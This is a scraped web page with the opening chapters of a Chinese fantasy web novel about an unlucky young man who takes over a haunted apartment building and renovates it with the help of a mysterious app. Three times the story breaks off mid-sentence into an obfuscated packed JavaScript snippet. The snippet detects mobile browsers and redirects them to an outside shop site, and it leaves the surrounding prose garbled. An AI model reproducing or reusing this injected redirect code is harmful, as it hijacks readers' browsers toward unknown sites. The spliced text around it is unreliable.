《妖怪公寓经营指南》 1. 天降一栋楼 “嚯！这居然是真的！” 氤氲的白雾中，一个略显臃肿的身影正站在草地上。 他专心致志地捣鼓着手里的手机，电子屏幕散发出的冷光照在他的脸上，让横在鼻梁上的那张卡通创可贴显得特别显眼。 【转账记录：收到种花币，5000元】 齐朝眨巴了一下眼睛。 幸福来得太快，他有点承受不来。 说实话，不止是这五千块，回想起过去二十四个小时里发生的事，齐朝只觉得一切都是像在做梦。 昨天早上，他先是安然无恙地到了公司，在公司期间既没碰上水龙头突然爆炸、也没遇到在保存文档前电脑突然崩盘，一天过得堪称是十分安详。 难得准时下班，齐朝回家路上碰上超市开业大酬宾，他只随手一抽，就得了一沓家居用品优惠券，上面的商品统统能一折拿下。 这还没完。 后面他在楼下吃麻辣烫，结果刚付完款，好家伙，居然又中了店里的刮刮乐一等奖！ 当时，齐朝捏那张通红的刮刮乐，心里慌得一批。 不对劲。 真的不对劲啊！ 回到住处后，齐朝一直心惊胆战地熬着，生怕这欧气爆完以后给他来个大的。 平常这小打小摔的只是受点伤，万一这一波大的给他直接带走怎么办？ 可齐朝白警惕了，后面一直什么事都没发生。 直到晚上十二点一到，齐朝刚迷迷糊糊地睡着，忽然就听见“砰”的一声巨响。 ——他的床塌了。 床塌了，可齐朝躺在断成一堆木片的床上，终于安心了。 他就说嘛，他怎么可能突然不倒霉了？ 不过安心是安心了，可齐朝心底还是有点小失落。 正常人，会有谁喜欢天天倒霉呢？ 不过，齐朝的这点失落只持续了五分钟不到。 因为他的手机里，突然蹦出来了一条通知。 【运势提升体验结束】 【完成“修复公寓楼任务一”，可获得运气永久+1】 ——半夜十二点，开了飞行模式的手机里，蹦出来了一条通知。 有点渗人。 可齐朝只利索地把手机打开，然后顺着那条通知，点开了一个莫名其妙出现在他手机里的APP。 APP的界面异常简洁，白色底背景，黑色的宋体字，写着一个“指引任务1”。 【指引任务1：抵达公寓楼所在位置】 【奖励：抽奖机会1次】 齐朝看看屁股底下的床残骸，又看看床头那张被他小心翼翼收起来的一等奖刮刮乐。 三秒后，他嗖地从地上蹦起来。 他不想再这么下去了。 他要去看看！ 现在是早春，天气还有点凉。 齐朝赶着第一班公交发车时出了门，到站时天才蒙蒙亮。 公交站再往前几步就是一个居民小区的正大门，这会儿时间虽然还早，但小区门口的几家早点铺已经开始营业了。 齐朝随便进了一家店要了碗酱肉面，边等面边看APP里的地图。 “街对面啊......” 齐朝抬头看过去。 大约是早晨的雾气太浓，街对面的绿化带后是白茫茫的一片，什么也看不清。 恰好酱肉面也来了，齐朝就没在意，准备吃完直接过去看看。 这片区域的绿化做得很好，街道也很宽敞。 在齐朝走到某个位置时，金色的阳光散散地照下来，白雾随之散开，在他的视野右前方撕出了一条斜岔出去的小石板路。 按照APP地图显示，那栋楼就在小路尽头。 齐朝顺着走过去，很快就看到了那栋据说需要修复的公寓楼。 楼不高，一共就四层。 它外墙有些斑驳，墙根处，几株瘦弱的爬山虎长得稀稀拉拉的，一眼就能透过叶片的间隙看见墙角上的泥点子。 齐朝绕着楼走了整整两圈，可APP里的指引任务还是没显示完成。 他揉着刚刚摔倒时崴到的脚踝，一边看向那扇黑色的楼大门。 “难道......要进去才行？” 齐朝马上定了主意。 反正来都来了，试试呗。 门居然没锁。 楼里没什么家具，自然也没有窗帘，可不知道为什么屋内却很暗。 和屋外相比，屋内居然显得还不那么“废弃”。 楼里面虽然天花板角落挂着一些蜘蛛网，但没一点生活垃圾，墙壁也十分完好，像废弃楼里经常会出现的涂鸦之类同样也压根没有，甚至连地上的灰尘都只有薄薄一层。 而等到发现楼里的水电都正常供应着后，齐朝就再也忽视不了这种奇怪的既视感了。 不对啊。 这样的楼，怎么还会通着水电？ “这难道是传说中的传销？诈骗？”齐朝紧张起来：“该不会突然有人来敲我闷棍吧。” 就在他准备立刻跑路的时候，他兜里的手机忽然一震。 【指引任务1已完成，奖励已发放】 这行字出现在齐朝手机屏幕上的下一秒，一个圆形的图标弹了出来。 图标变大后是红黄相间的底色，底色色块上分别写着“现金、体验卡、道具”，而圆盘的正上方还有个黑色的三角箭头。 ——是最古早的轮盘抽奖样式。 齐朝抓着手机，眼睛都瞪圆了。 居然真的有抽奖！ 他顺手就往轮盘中央的“开始”键上点了一下。 转盘飞速旋转，可等了半天都没减速，于是齐朝又点了一下开始键。 轮盘转动瞬间停止。 它上方的黑色箭头正指着两个字。 ——现金。 齐朝：！ 还没等他做什么，下一秒，屏幕上又蹦出一个新转盘，这次上面只有大写的数字了。 很明显，是转到哪个数字就中奖多少现金的意思。 齐朝不禁兴奋起来：“来吧来吧！” 随着齐朝一通操作，转盘转啊转，最后又停在两个字上：伍仟。 再然后...... 就没有然后了。 抽奖圆盘从齐朝的屏幕上消失了，屏幕变成了一片雪白。 一分钟过去，五分钟过去......无事发生。 齐朝：“......” 齐朝：“果然是骗子！！” 他气哄哄地把那个APP卸载了，一边疯狂念叨“我就是个傻子”，要不是物种不对，他当场能变成条鼓起气的河豚。 因为情绪太激动，他动作幅度越来越大，于是—— “嗷！！” 一阵难以忽视的疼痛瞬间从身体右侧爆开，齐朝嗷嗷地捂住自己的肋下，缓了好一会儿才呼出一口气。 等阵痛消失后，他才慢慢摸了摸身上的加厚气囊马甲，又摁摁遮在宽大裤子下的防摔运动护膝。 他呼气：“幸好。” 幸好，他今天出门穿了这套“防摔装备”，不然出小区时被车撞那一下，他说不定当场肋骨就断了。 不过因这一疼，齐朝这会儿也冷静了。 不就日常倒霉嘛，有什么好纠结的？ 他收拾好心情，撑着膝盖站起来：“回去路上买瓶止痛喷雾吧，一会儿吃什么呢......” 就在齐朝一瘸一拐地走到楼外草地上时，他的手机又响了。 这次不是那个粗制滥造的神秘APP了，而是正儿八经的银行消息。 【您的储蓄卡已到账：5000元】 齐朝懵了。 好家伙！ 原来那抽奖是真的啊！ 而等他切出银行界面时，他才发现，那本应该在几分钟前被他卸载的APP，此时又悄无声息地出现在了手机里。 它图标是白底黑字，写着—— 经营指南。 ====== “走了，大家别太想我哟。” “赶紧走赶紧走！一会儿我的电脑又被你祸害了，我就等着这组代码跑完去休假了！” “哈哈哈老大别这么说嘛，朝朝又不是病毒。” “就是就是......” 齐朝擦着眼角不存在的眼泪：“呜呜，老大你居然这么嫌弃我。” 眼看着对方冷飕飕地盯过来，齐朝赶紧抱着收纳箱往后两步，溜了。 齐朝辞职了，这是他来公司上班的最后一天。 倒不是他之前中了5000块就飘了，而是在手机上出现“经营指南”APP的第二天，他就收到了快递过来的几份文件。 文件上密密麻麻的字，概括下来就一件事。 ——那栋公寓楼，从此就是齐朝的了。 只是有个唯一的条件，就是那栋楼不能出售，也不能转让或抵押，它的所有者只能是齐朝。 齐朝也没轻信，他转头找了几家律所认证其真实性，而得到的结果都一样，说那些文件都是真的。 这事可太神奇了，可偏偏齐朝心大，直接就接受了下来。 ——没办法，他倒霉二十多年了，有几次还差点连命都没了，要不是他心大，估 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424146|200851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计早就疯了。 确认了文件的真实性后，齐朝立刻就有了打算。 他的想法很简单。 既然楼都是自己的了，比起天天996甚至007去给医院送钱、给房东挣房租，为什么不干脆直接住进自己的楼里，自给自足呢？ 这念头一出来，齐朝就坐不住了。 他想，那个经营指南APP里头的东西既然是真的，那他只要跟着指南走、把楼弄好，然后再把房间往外一租—— 嘿，这样收入有了，运气也有了。 一石二鸟，完美！ 齐朝向来想到什么就要做，于是当即就提了离职申请。 离职日和退租日是同一天，所以今天他从公司回到住处后没多久，房东也到了。 退完租、扣完违约金，齐朝的钱包勉强回了点血。 他一算，零零散散的，现在手上一共有三万五千块。 而其中的一万，一半是那天从APP里抽奖抽出来的，另一半是被车撞后车主和他私了的赔偿。 齐朝回想起过去的牛马日常，不禁咬牙切齿地：“每天都快住在公司了，居然才攒了这么点，简直了！” 齐朝的行李不多，连人带东西从租的房间里搬到公寓楼门口，只用了一个小时不到。 楼大门和齐朝上次来时一样，没锁。 他熟练地推门进去，把行李全都搬进了距离大门最近的右侧那间房。 其实收到这栋楼的相关文件是一个月前的事。 可这一个月里，他的前公司依然不做人，齐朝他们小组完全是被往死里压榨，大家就连睡觉的时间都是硬挤出来的。 这就导致虽然已经过去一个月了，可齐朝一次都没再来过这栋公寓楼。 这会儿，齐朝扛着大包小包的行李进去，望着被激起的满室灰尘，他才后知后觉地意识到一件事。 屋子根本还没打扫啊！ 可要让他掏钱去住酒店？ 齐朝：算了吧，一晚两百呢。 于是后面几个小时齐朝一刻都没休息，等扫地、拖地、擦窗户这一通下来弄完，早就到了深夜。 楼里水电虽然是正常供应着，但却没有热水。 这会儿天气渐渐转暖了，可是最高温也只有个二十二三度。 齐朝快速冲了个冷水澡出来，冻得上下牙都在直打架，直到把三桶泡面连面带汤全塞进肚了，他的身体才彻底暖和起来。 没找到公共垃圾点，齐朝只好把垃圾装好放到房门口，准备明天再去扔掉。 齐朝吹着刚刚泡方便面时被开水烫到的手背进房间，忽然，他的眼角瞥到了什么东西。 他疑惑地走到行李那，把东西翻出来一看，发现那居然是一个用礼品纸裹着的盒子。 齐朝愣了愣，小心地把盒子拆开。 里面是一大盒卡通创可贴、冷敷贴、跌打药、烫伤药......以及一张折起来的信纸。 信纸被彩色的马克笔写得满满当当。 [朝朝你要注意身体呀，别再受伤啦^v^] [倒霉蛋] [别听老大说的，那些药明明都是她买的。而且......就算你是个倒霉蛋，你也是最棒的倒霉蛋！] [就是就是！你超棒的！] 齐朝笑了出来。 他揉揉发红的眼睛，仔细地、动作很轻很轻地把信纸叠了起来。 手上的烫伤涂了药以后凉丝丝的，都不怎么疼了。 齐朝钻进睡袋，摁灭了手机屏，几乎是在下一秒就陷入了梦乡。 今晚月明星稀，一片云都没有。 屋里很静。 所以当滴水声忽然响起来的时候，就仿佛那声音是炸起来的一样。 滴答，滴答...... 空荡荡的楼里，声音在无限形成回音。 嗒，嗒...... 嗒。 上一秒水还滴在走廊上，下一秒就滴进了这间屋里。 齐朝太累了，他睡得很沉。 当一滴冷冰冰的水从正上方滴到他脸上的时候，他也只是微微皱了皱眉，然后把脸往睡袋里又埋了一截。 没有窗帘遮挡的窗户上凝出了一层薄霜，屋内昏暗，冷得诡异。 森冷的月光下，墙角的黑暗仿佛活了。 它蠕动起来，慢慢地、慢慢地齐朝的口鼻伸去。 屋内水声嗒嗒，带出一种诡异的黏腻感。 就在那未知之物碰到齐朝皮肤的刹那，噗的一下，它居然缩了水！ 嗖！ 它立刻缩了回去。 一切重归静谧。 2. 天星物业 齐朝扔完垃圾的时候脑袋还有点晕。 长时间高强度工作，忽然脑子一下彻底放空去了睡觉，醒来以后感觉整个人都像裹了一层塑料膜似的。 齐朝拖着脚步往回走：“是做梦了还是什么啊......” 他总感觉昨晚耳边一直传来声音，嗒嗒嗒的。 齐朝正用晕乎乎的脑袋想着那声音是什么，忽地背后就响起一道清亮的嗓音。 “您就是齐朝，齐先生吧？” 齐朝回头：“嗯嗯我是，您是？” 来人是个年轻女人，她穿着一身银灰色的职业装、平底皮鞋，一头长发扎在脑后，干练的风格冲淡了那张娃娃脸带来的幼态感。 她把怀里的厚册子单手托住，朝齐朝递来一张名片：“您好，我是扇彤。” 齐朝回着“您好”，一边接过来。 “天星物业？” “是的，我们是这片区域的物业公司，因为发现您名下的那栋楼有点变化，所以前来拜访。” 齐朝的脑子还没彻底清醒：“啊？变化？是水电的事吗？” 扇彤保持着标准却疏离的职业微笑，她没有回答，反而问：“您这是......？” 齐朝顺着对方的目光低头。 他身上穿着一套用作睡衣的旧衣服，衣裤被睡袋挤得皱皱巴巴的，上衣只有一个扣子在勉强拉着衣服两边的布料。 齐朝猛地一个激灵，瞌睡瞬间全跑了。 他赶紧裹好衣服：“我我我只是出来扔个垃圾！” 扇彤一听，愣了。 出来？ 她猛地拔高嗓音：“您进去那栋楼了！？” 齐朝被吓了一跳：“是啊。” 扇彤更慌了：“您是怎么进去的？” 齐朝有点懵：“大门没锁嘛，所以一推门就进去了。” 扇彤的表情一瞬间变得难以言喻。 她深呼吸了一口气，也不笑了。 她问：“您昨晚有没有遭遇、呃......有没有觉得身上有什么不适？” 齐朝虽然觉得挺疑惑的，但看扇彤的表情也不像是在拿他开玩笑，于是也认真地回：“没，我睡得还挺好的。” 除了好像隐约听到什么噪音。 不过这也算不上不适吧？噪音嘛，哪没有啊。 这比起他之前租的那种连厕所都没有的房子好多了。 于是齐朝就没再说。 齐朝反问：“楼怎么了吗？” 扇彤：“不！没什么！” 她严肃地说：“请您相信我们天星物业，要是有任何问题，我们一定会帮您解决的。” 齐朝觉得这段对话好像说得牛头不对马嘴的，但看看扇彤那张充满了稚气的脸，他心里也有些了然。 估计是物业公司的新业务员吧？ 打工人何苦为难打工人，算了，等后面真遇上问题了再说吧。 于是齐朝客气地应了一句：“麻烦你们了。” 说完这句后，两人一时间谁都不说话，只互相干瞪眼。 十几秒后，齐朝有点扛不住了，他指指身后的楼：“您不介意的话，我先回去换件衣服？” 扇彤：“......好的。” 齐朝赶着回去，一下就没了影，而扇彤只站在原地望着公寓楼的方向。 垃圾处理点在离公寓楼近一百多米的地方，并不近，中间还隔着两排绿化树，视野压根谈不上开阔。 可扇彤却像是能什么都看得清清楚楚一样。 随着齐朝推门的动作，她站在远处小小地吸了口气。 “奇怪，人类怎么能......” 起风了，她余下的尾音，被树叶的沙沙声彻底盖了过去。 齐朝换好衣服出来的时候，刚好看见扇彤就在公寓楼的大门外面站着。 不过这次还没等他开口，扇彤就从怀中的厚册子里取出一份资料：“齐先生，这是我们天星物业的服务范围和收费标准，您看看有没有什么疑问。” 趁着齐朝低头翻资料，她飞速地瞥了齐朝身后的楼大门一眼。 扇彤像是不经意地问：“您对这栋楼，有什么规划或者想法吗？” 齐朝头也不抬：“我打算开公寓。” 毕竟APP上说是“修复公寓楼”嘛。 扇彤定定地看了他一会儿。 她收紧了抱着册子的手，像是做出了什么决定。 她开口：“其实......因为这栋楼闲置了一段时间，所以在重新开始收费前，我们能提供一次免费的全面硬件设施保养和更换。” 齐朝正庆幸着这里的物业费能按月交，在听到扇彤话里的某个词时，他猛地一抬头。 “免费？” “对！” “那太好了！”齐朝喜笑颜开：“你们什么时候能来？” 扇彤低头翻动了一下怀里的厚册子：“要不……就今天？” 她说道：“以前我们检查过几次，对里面的情况很了解。所以要是现在通知检修师傅过来的话，差不多今天下午三点就能搞定。” 齐朝忍不住在心里“哇”了一声。 这天星物业的效率也太高了吧？ 齐朝当即就应：“好，那就今天吧，辛苦你们了。” 他又问：“对了，您知道这边哪有家具城吗？装修耗材店也行。” 扇彤唰唰一翻，嗖地从厚册子里抽出一张名片：“我推荐这家。” 齐朝：“谢啦。” 他看了看扇彤怀里的那本外壳浅金的册子，忍不住道：“这金册子，好像个百宝箱呀。” 扇彤先是愣了一下，而后弯起眼睛，嗓音清脆：“嗯！” 有那么一瞬间，齐朝忽然觉得面前这位年轻姑娘的笑靥十分眼熟。 ——就像是逢年过节，家家户户门扉上贴着的福气满满的、笑眼弯弯的圆脸娃娃。 扇彤说屋内的行李不碍事，他们会在离开时放到原位，于是齐朝就没再管。 他今天起这么早也不是失眠睡不着，而是有事要办。 等看着扇彤走远去打电话给物业公司后，齐朝才掏出手机，点开了经营指南APP。 【指引任务2：更换公寓楼大门】 【奖励：抽奖机会1次】 【修复任务一：将1间房屋等级提升至1（当前进度0%）】 【奖励：运气永久+1】 虽然齐朝很馋那个“运气+1”，可他对提升所谓的房屋等级毫无头绪，只能先专注于另一个任务。 换门这种事其实并不复杂。 现在网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424147|200851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 购方便，下单以后一般还有师傅会上门安装。 可也是奇了怪了，齐朝在购物软件里逛了好几家店铺，要么付款时运费显示999，要么直接变成“当前地址不支持售卖”。 齐朝一问，客服给的答复都一样，说是只能送到最近的快递代收点。 而等齐朝再一查代收点位置，好家伙，那地方居然和公寓楼相隔了好几百米！ 没办法，齐朝只能先试试去实体商铺问价。 也巧，扇彤推荐的家具店刚好坐公交能到，不过公交来得特别慢，齐朝等公交等到怀疑人生，满脑子都是得哪天去买辆二手自行车。 家具店的老板是个身材高大的女人，她比一米八的齐朝都还高出半个头。 老板豪迈爽朗，一听是扇彤介绍来的，大楼的防盗门直接给了齐朝超级骨折价，比网购价格还便宜很多，几乎是白送。 齐朝当然不能接受。 他和扇彤也只是刚认识而已，怎么能去占对方人情的便宜？ 老板却说：“哎呀，那你之后都来我这买东西就行嘞。” 她看着齐朝有些尴尬的表情，意识到了什么。 她拍了下手：“这样，你以后来买家具买耗材，我都给你和网上一样的价格嘞，怎么样？” 齐朝：“啊？” 真有馅儿饼掉他头上？ 不能吧。 面对齐朝的疑惑，老板只爽朗地笑：“那栋楼我知道嘞，里面要布置起来，那可是个大工程嘞。” 她叉着腰、低头望向齐朝：“你可是个大客户，薄利多销，我能赚钱嘞。” 齐朝被说服了。 他看了看旁边写着“惊爆价”的热水器，非常心动。 “那......我再买一台热水器？” 家具店老板：“行嘞！” 天星物业的工作效率非常高，齐朝和热水器安装师傅一起回到公寓楼时，扇彤和物业公司的人都已经走了。 期间她发消息问齐朝，说需不需要帮忙宣传下招租的事，齐朝当然感激地说好。 这会儿齐朝从家具店回来一看。 除了之前答应的检修和维护工作，天星物业还免费帮忙换掉了楼门口那盏不亮的灯，所以到了第二天，齐朝付本月的物业费时非常爽快。 不过...... 这物业费虽然能按月交，可对齐朝来说也不是笔小费用。 这栋公寓楼和街对面小区那些楼相比就太矮了。 它地面上一共四层，地下有个大平层的地下室，楼顶是天台。 每层楼有800平米，楼里不装电梯，所以物业费还算便宜，每平方米收取0.5元。 可就算如此，整栋楼一个月的物业费那也高达2000！一年可就是近3万！ 2000块的物业费，加上昨天买的900块的电热水器、100块的楼大门，一共花了3000。 齐朝一算，抛开他自己工作和“被车撞补偿”攒下来的三万块，之前抽奖得到的5000块奖金现在就只剩2000了。 他看着卡里的余额，只觉得脑仁都在疼。 就算不吃不喝不用水电，他的余额也才刚够撑一年。 齐朝握拳。 得尽快把其它房间给收拾打理出来，马上招租！ 3. 第一位租户 齐朝缺钱。 其实昨天把大门换好后“指引任务2”完成后，一次抽奖机会也就到手了，只是后面齐朝忙着把一楼全部打扫出来、又享受了个热水澡，完全是倒头就睡，压根没顾上。 这会儿齐朝想起这件事，立刻把APP打开，往屏幕中间一按。 开始抽奖！ 轮盘上的奖品类别和上一次一样，只有三种，分别是现金、道具和体验卡。 当转盘指针停在“现金”上时，齐朝激动得连呼吸都加快了。 钱哎！ 奖品是钱！ 再蹦出的现金转盘上有四种金额：五万、一万、五千和十元。 其中五千的占比面积最大，其次是一万，而十元的面积甚至比五万的还要小很多，几乎就是一条缝，看着完全像来凑数的。 在齐朝焦急的等待中，终于，现金轮盘停了。 【拾圆】 齐朝：“......” 靠！！ 齐朝深呼吸了一下，然后切到聊天界面给家具店老板发消息。 【齐朝：[打招呼.表情包]】 【齐朝：老板早上好呀，想问问您店里的床怎么卖？要便宜一点的0v0】 很快，聊天界面顶端就显示着正在输入中。 【我有一间屋：[图片]】 【我有一间屋：这个木架薄，200块】 【我有一间屋：[图片][图片]】 【我有一间屋：这款结实点嘞，收你300】 ...... 一番沟通后，齐朝选了老板推荐的400块的那一款床。 老板的家具店商品种类非常丰富，所以齐朝又继续买了一个200块的棕榈床垫，十桶大桶装漆，几个油漆刷，一个折叠梯，以及两个灯罩和一盒节能灯泡。 这一通买完，上次奖品里还剩着的2000元也用完了。 家具店很快就送来了货，而齐朝也终于开始了他的装修大业。 他准备先装修隔壁的房间。 第一步是刷漆。 他买的漆是浅鹅黄色和乳白色，先用底漆刷平墙面后，再用鹅黄色上色，而乳白色的则是用来刷天花板。 刷了没一会儿，齐朝就发现，老板推荐的这款“特快速干漆”干得真是超级快。 几乎是滚筒刷才从墙这边滚到末尾，最前端的漆就已经干了。 于是齐朝更来劲了。 他这一忙就忘了时间，饿了就啃压缩饼干就水咽。 直到忽然感觉自己的脖子僵得转不动了，齐朝才发现窗外天都黑了。 “居然都这个点了，不过这墙和天花板也快刷完——嗯？” 齐朝看着经营指南APP里的那行字，瞪大了眼睛。 【修复任务一：将1间房屋等级提升至1】 【当前进度：49%】 装修进度居然涨了！ 怎么回事？ 因为要刷漆，房间窗户、大门全都开着通风，夜风吹来，带来的凉意让齐朝瞬间灵光一闪。 他一手抓着手机，一手试着拿起油漆滚筒刷，在浅了一小块的墙上滚了一下。 【当前进度：50%】 齐朝：！ 破案了！这修复进度和装修有关！ 齐朝这会儿既不困了，也不累了。 他灌了一口水，撸起袖子，继续开干！ 墙和天花板刷完，灯泡就能换成新的了，换完后再安上灯罩，光线瞬间就柔和了很多。 随着任务进度慢慢增长，时间也逐渐到了午夜。 楼里的温度在一点一点往下降，不知不觉间，玻璃边缘已经爬上了冰。 装在天花板上的灯泡似乎像是电压不稳了一样，光线在以一种很难察觉的速度慢慢变暗。 楼大门外，那盏造型如同提灯般的照明灯闪了两下，在某个瞬间骤然熄灭。 齐朝毫无所觉。 他刚刚拖完了地，这会儿正哼着歌、边拿着小锤一点点组装木头床架。 确认了床架的每一块木板都已经卡好后，他大力出奇迹，直接把棕榈床垫一整个扛了过来，然后往床架上一放！ 床组装好了！ 【修复任务一：将1间房屋等级提升至1】 【当前进度：100%】 【修复任务一已完成，奖励正在发放中......】 齐朝满心雀跃，心底的那点期待把他的心挠得痒痒的，感觉心脏下一秒就要飞出来。 “运气加一啊，会是什么呢？会是什么呢？” 是像童话故事里那样飞出魔法光团？还是像科幻片那样从他手机里蹦出个虚拟投影？ 齐朝期待地紧紧盯着手机。 他并没有发现，在他身后的角落里，他的影子抖了一下，而后像是疯了一样，猛地拉长了一大截！ “啪！” 灯灭了。 冷色的手机屏幕光照出了齐朝疑惑抬头的动作。 冷光照不到的黑暗里，有数不清的东西动了起来。 它们抽搐着，蠕动着，在无限的黑暗中变幻成嚎叫的人脸，铺天盖地地朝齐朝扑了过去！ 齐朝还在念：“不是吧，灯我今天刚买的啊。” 而他的脸旁，一张比他脑袋还要大的巨口猛然撕开，朝着他的头直接就咬了下来！ 巨口闭合的瞬间—— 噗的一下，它不见了。 齐朝抓着手机打了个冷噤。 他茫然地摸了摸自己脸：“什么情况，漏水了？” 刚刚好像有什么东西掉在了脸上，凉飕飕的。 这时，“嗡——” 是齐朝的手机。 屏幕上显示着几个字。 【奖励已发放】 同一时间，楼门外的灯艰难地闪烁起来。 它忽明忽暗，像是一只在雨里艰难挣扎的火蝴蝶。 终于，它亮了。 在这一刹那，那些扭曲哀嚎着的黑暗忽然像是被什么抓住了一样。 它快速地被从房门处抽了出去，沿着大楼门缝、门边的窗户缝隙全部抽离了这栋楼。 而屋内的灯，也亮了。 齐朝还在懵着。 他看看天花板上的灯，又看看自己的手机，再看看天花板...... 他崩溃地喊：“这就完了！？” 他的运气+1，就是给坏了的节能灯发一个撤回，把灯重新修好了！？ 怎么能这样！ 齐朝这一瞬间很想嗷嗷叫。 就在他准备扑到地上开始打滚的时候，房门外，忽然响起了声音。 “咚、咚、咚、咚。” 有谁在敲门。 敲了四下。 齐朝此刻的心里满是悲伤，他拖着脚步走到门边，有气无力地：“谁呀？” 才问完，齐朝就猛地意识到了什么。 大半夜的，谁会来敲门？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424148|200851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一想到之前的敲门声响了四下，齐朝更是连背上的汗毛都竖起来了。 他反手抄起脚边工具箱里的扳手，准备直接来个物理服人、不，是物理服鬼，可门外却传来一声—— “......我要租房。” 齐朝：“......” 齐朝：“啊？” 春风漫漫的夜晚，凌晨三点，齐朝抓着门把手，和屋外的人大眼瞪小眼。 来人穿着白色上衣、天蓝色的沙滩裤，脚上踩着人字拖，可外面却罩了一件加长加厚的黑色羽绒服！ 齐朝：“您说......您要租房？” 男人看了一眼齐朝的脑袋，又看看齐朝手里的扳手，表情十分憋屈：“对。” “现在是凌晨。” “啧，我知道。” 齐朝努力把涌到嘴边的吐槽咽下去：“可我这的房间还不能住人，抱歉啊。” 屋里油漆才刚刚刷好，怎么着也得放几天通通风。 齐朝自认为是个有原则的好房东，可不能让租户住进来当人形净化器。 可男人一听，表情却更臭了。 他抬头看了一眼头顶那提灯状的照明灯，烦躁地说：“那你这里什么时候能住，我什么时候进来，行了吧？” 齐朝：“......” 这人真的好怪啊。 要不报警吧？ 男人看齐朝没说话，又“啧”了一声，他从兜里掏出手机：“你这一个月房租多少？” 齐朝：？ “问你房租多少。” 按理说有人来租房，齐朝应该高兴的，可这状况实在是太诡异了。 齐朝纠结了两秒，一咬牙：“三千！” 这价格其实不算高，毕竟这楼里的房间面积大，而楼背后几百米处还有个大公园，虽然位置略偏、附近没地铁口，但胜在风景优美，环境很好。 不过前提是——这屋内装修完好、家电家具配齐，真的达到了那种可以拎包入住的公寓标准。 可实际上…… 此时的楼里，升到1级的那间屋内除了一张床外，啥也没有。 ——连热水都没有。 所以房租三千完全是在抢钱。 可羽绒服男人却哼了一声：“收款码，我给定金。” 齐朝懵了。 不是吧？他都讹人了，这人怎么不跑？ 不过，这世上没人会和钱过不去，而齐朝也确实缺钱。 于是最终，齐朝还是没把这位租客往外推，而是揣着良心降了房租，然后又留了心眼，准备之后要是真的有什么不对劲的，就立马报警。 两人商定的入住日是在一个月以后。 一想到自己即将迎来第一个租客，齐朝一下子就有了奋斗的动力。 俗话说，做生意要讲究门面。 天亮后，齐朝站在他的四层小楼前，望着那堪比恐怖片片场的小楼外观，觉得自己真是任重道远。 还有一个月的时间，怎么着也得把楼收拾得像点样才行。 查完卡里的余额后，齐朝很快就做出了决定。 他掏出手机。 “您好，天星物业吗？我是——对，我是齐朝。” “哈哈谢谢您，请帮我和扇彤小姐问好。是这样的，我打电话来是想请问下，物业能帮忙刷外墙漆吗？” “是的，是整栋楼的外墙，那费用......嗯？” “嗯！！？？” 4. 大采购 齐朝挂了电话，抬头望天。 妈耶，物业公司居然只收了他一千块。 那可是一栋楼哎！虽然楼很矮，可只要一千块就能翻新一栋楼外墙哎！ 他赚翻了好吗。 齐朝：“难道是天要下红雨了......” 等等，不对。 齐朝立马意识到一件事。 他打开“经营指南”APP，看着右上角那个像充电电量一样的图标。 自从昨天得到“运气+1”奖励后，这个图标就突然出现了。 此刻它就像是手机电量即将归零一样，只有底部有很细的一道痕迹。 齐朝摸着自己的下巴，然后猛地一拍自己大腿：“我知道了！” 他的运气+1才不是修灯泡！而是真的运气变好了！ 要不是这样的话，怎么能一大早就碰上好事？ 齐朝立马开心起来。 天星物业说他们会带着材料直接过来处理外墙，因为施工现场会很乱，所以让齐朝出去逛一逛，等他们处理好了再回来。 齐朝没多想，只回到屋里把一个月前中奖的那沓超市优惠券翻出来，装进他的双肩包背里，然后换了一身轻便衣裳。 他运气变好啦，今天可以不用穿防护装备啦~ 齐朝本来是准备直接去超市采购的，然而才踏出门几步，他就停了下来。 他回头看向他的楼。 楼外墙的墙脚处，有几株明显营养不良的爬山虎在艰难地攀附着。 齐朝想，要是物业公司刷墙的话，应该会把这些杂草全部拔了扔掉吧？ 他眨了下眼睛，放下了背包。 半个小时后，齐朝哼着歌出了门。 而在他身后，被摆放在阴凉处的两个大水桶里，几株暂时被移栽出来的瘦弱爬山虎，正在微风里缓缓摇动叶片。 心联超市是一家本地连锁超市，主打一个“货铺全市”，所有线下门店的商品同步，所以由一家店发放出来的优惠券，自然也能在所有店铺通用。 今天是周中，超市没什么优惠活动，而这个时间点，客流量更是无限接近于0。 超市里轻柔的音乐一首接一首，听得人直犯困。 所以，当一只沾着血的手突然伸到柜台上的时候，超市顾客中心的那位工作人员差点被吓到尖叫。 “您好，我想用这些券。” 说话的人声音闷闷的，因为他的鼻孔正塞着两大团纸，纸已经被血晕开了大半。 这人就是齐朝。 他今天实在是飘了，觉得运气好了点就开始浪，结果刚下公交车就摔了个狗啃泥，站起来后又突然脚滑一脸砸在马路牙子上，直接鼻血喷涌。 